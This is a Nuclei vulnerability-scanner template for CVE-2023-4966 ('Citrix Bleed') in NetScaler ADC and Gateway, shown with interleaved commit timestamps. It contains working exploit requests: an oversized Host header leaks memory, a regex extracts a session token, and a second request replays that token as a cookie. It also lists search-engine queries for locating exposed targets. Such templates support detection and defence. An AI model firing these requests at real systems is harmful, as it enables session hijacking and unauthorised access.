2023-10-24 10:58:04 +00:00
id : CVE-2023-4966
info :
name : Citrix Bleed - Leaking Session Tokens
author : DhiyaneshDK
2023-10-25 12:04:43 +00:00
severity : high
2023-10-24 10:58:04 +00:00
description : |
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
reference :
- https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
2023-10-25 11:56:09 +00:00
- https://github.com/Chocapikk/CVE-2023-4966
2023-10-24 10:58:04 +00:00
- https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
- https://x.com/assetnote/status/1716757539323564196?s=20
- https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
classification :
2023-10-25 12:04:43 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2023-10-24 10:58:04 +00:00
cve-id : CVE-2023-4966
2023-11-02 07:14:22 +00:00
cwe-id : CWE-119,NVD-CWE-noinfo
2024-05-31 19:23:20 +00:00
epss-score : 0.9671
epss-percentile : 0.99651
2023-10-24 10:58:04 +00:00
cpe : cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
2023-10-24 11:45:08 +00:00
metadata :
verified : "true"
2023-10-25 12:04:43 +00:00
max-request : 2
vendor : citrix
product : netscaler_application_delivery_controller
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"Citrix Gateway" || title:"Netscaler Gateway"
- http.title:"citrix gateway" || title:"netscaler gateway"
2024-05-31 19:23:20 +00:00
fofa-query : title="citrix gateway" || title:"netscaler gateway"
google-query : intitle:"citrix gateway" || title:"netscaler gateway"
2023-11-18 10:13:37 +00:00
tags : cve,cve2023,citrix,adc,info-leak,kev,exposure
2023-10-24 10:58:04 +00:00
variables :
payload : '{{repeat("a", 24812)}}'
2023-10-24 22:35:46 +00:00
str : "{{to_lower(rand_text_alpha(4))}}"
2023-10-24 10:58:04 +00:00
http :
- raw :
- |+
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
2023-10-24 22:35:46 +00:00
{{str}} : {{Hostname}}
2023-10-24 10:58:04 +00:00
Host : {{payload}}
2023-10-25 00:47:10 +00:00
- |+
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host : {{Hostname}}
Cookie : NSC_AAAC={{session}}
2023-10-24 10:58:04 +00:00
unsafe : true
2023-11-18 12:52:17 +00:00
2023-10-25 00:47:10 +00:00
extractors :
- type : regex
name : session
part : body_1
group : 1
regex :
2023-11-18 10:13:37 +00:00
- '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
2023-10-25 00:47:10 +00:00
internal : true
2023-10-25 11:56:09 +00:00
- type : regex
part : body_2
regex :
2023-11-18 10:13:37 +00:00
- '([a-z0-9._]+)'
2023-10-25 11:56:09 +00:00
2023-10-24 10:58:04 +00:00
matchers-condition : and
matchers :
- type : word
words :
2023-10-24 11:45:08 +00:00
- 'NSC_AAAC='
2023-11-18 10:13:37 +00:00
- 'HTTP/1.1'
2023-10-24 10:58:04 +00:00
- type : word
words :
2023-11-18 10:13:37 +00:00
- '{"issuer":'
2024-06-08 16:02:17 +00:00
# digest: 4b0a00483046022100d53c103c37fab6d039e715bd8916c5d7fb079cc8721531b1d40ad2fd83241fb5022100ae404d6a85e19235109ce7bfc81e185177cd90121910b674c011b6673c6d43ee:922c64590222798bb761d5b6d8e72950